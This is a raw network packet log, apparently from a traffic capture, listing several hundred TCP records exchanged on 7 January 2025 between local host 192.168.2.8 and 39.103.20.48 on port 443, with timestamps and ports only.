Jan 7, 2025 04:15:41.014816046 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.014888048 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.014935017 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015089035 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015120029 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015139103 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015146017 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015156984 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015183926 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015304089 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015355110 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015472889 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015508890 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015523911 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015530109 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015542984 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015554905 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015573978 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015578985 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015599012 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015625954 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015753984 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015799046 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015799999 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015810966 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015837908 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015846968 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015860081 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015866041 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015878916 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015886068 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015921116 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015924931 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.015940905 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.015971899 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016182899 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016232967 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016455889 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016503096 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016521931 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016529083 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016550064 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016554117 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016562939 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016567945 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016588926 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016597986 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016622066 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016624928 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016635895 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.016650915 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016673088 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.016689062 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017128944 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017168999 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017179966 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017185926 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017205954 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017214060 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017221928 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017225981 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017241001 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017271042 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017271042 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017278910 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017291069 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017297983 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017323971 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017330885 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017338037 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017374992 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017393112 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017452002 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017884970 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017920017 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017937899 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017946005 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.017957926 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.017981052 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.018142939 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.018187046 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.018197060 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.018203020 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.018218040 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.018225908 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.018245935 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.018250942 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.018264055 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.018294096 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.100864887 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.100912094 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.100941896 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.100954056 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.100970984 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101002932 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101003885 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101016045 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101047039 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101072073 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101136923 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101183891 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101238012 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101289988 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101394892 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101427078 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101449013 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101457119 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101465940 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101495981 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101634026 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101686001 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101804018 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101840019 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101857901 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101864100 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.101882935 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.101897001 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102046967 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102083921 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102094889 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102101088 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102119923 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102127075 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102143049 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102147102 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102164030 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102190971 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102339983 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102384090 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102590084 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102624893 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102639914 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102647066 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102663994 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102679014 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102680922 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102690935 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102724075 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102749109 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102870941 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102936029 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102956057 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.102963924 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102973938 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.102991104 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103002071 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103005886 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103034019 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103055954 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103223085 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103262901 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103271961 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103276968 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103295088 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103317976 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103502989 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103547096 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103554010 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103559971 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103576899 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103591919 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103601933 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103606939 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.103632927 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.103656054 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.104017019 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104058027 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104078054 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.104083061 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104094982 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104110003 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.104124069 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.104129076 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104151011 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104162931 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.104176998 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.104182959 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104196072 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104219913 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.104243040 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.104248047 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.104289055 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.237720966 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.237803936 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.237936974 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.237979889 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238017082 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238027096 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238039970 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238074064 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238109112 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238178968 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238244057 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238322973 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238425970 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238456964 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238509893 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238518000 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238583088 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238718987 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238766909 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238792896 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238800049 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.238822937 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238852024 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.238992929 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.239068031 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.239078045 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.239131927 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.239145041 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.239151955 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.239165068 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.239180088 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.239200115 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.239485979 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.239523888 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.239583015 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.239590883 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.239649057 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.239942074 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240042925 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240140915 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240195036 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240216017 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240221024 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240236998 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240247011 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240268946 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240273952 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240286112 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240299940 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240319967 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240333080 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240339994 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240407944 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240845919 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240888119 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240896940 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240902901 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240921974 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240962982 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.240987062 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.240993023 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.241010904 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.241045952 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.241460085 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.241499901 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.241533041 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.241539001 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.241549969 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.241561890 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.241579056 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.241584063 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.241595984 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.241605043 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.241642952 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.241647959 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.241705894 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.242044926 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.242089987 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.242124081 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.242141008 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.242147923 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.242160082 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.242178917 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.242189884 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.242193937 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.242211103 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.242243052 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324184895 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324239016 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324270010 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324315071 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324382067 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324382067 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324382067 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324403048 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324436903 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324445963 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324489117 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324541092 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324599981 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324647903 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324688911 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324727058 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324743032 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324750900 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324779987 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324786901 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.324888945 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.324937105 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325022936 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325074911 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325216055 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325259924 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325280905 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325311899 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325340033 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325346947 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325360060 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325390100 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325519085 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325570107 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325663090 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325699091 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325714111 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325721025 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325733900 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325746059 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325758934 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325762987 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.325786114 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.325813055 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326106071 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326143026 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326157093 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326163054 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326180935 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326193094 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326204062 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326209068 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326225996 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326226950 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326255083 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326261997 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326272011 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326276064 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326311111 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326318026 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326363087 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326653004 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326694012 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326703072 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326709032 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326736927 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326755047 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.326828957 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.326874971 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327048063 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327080011 CET	443	49712	39.103.20.48	192.168.2.8
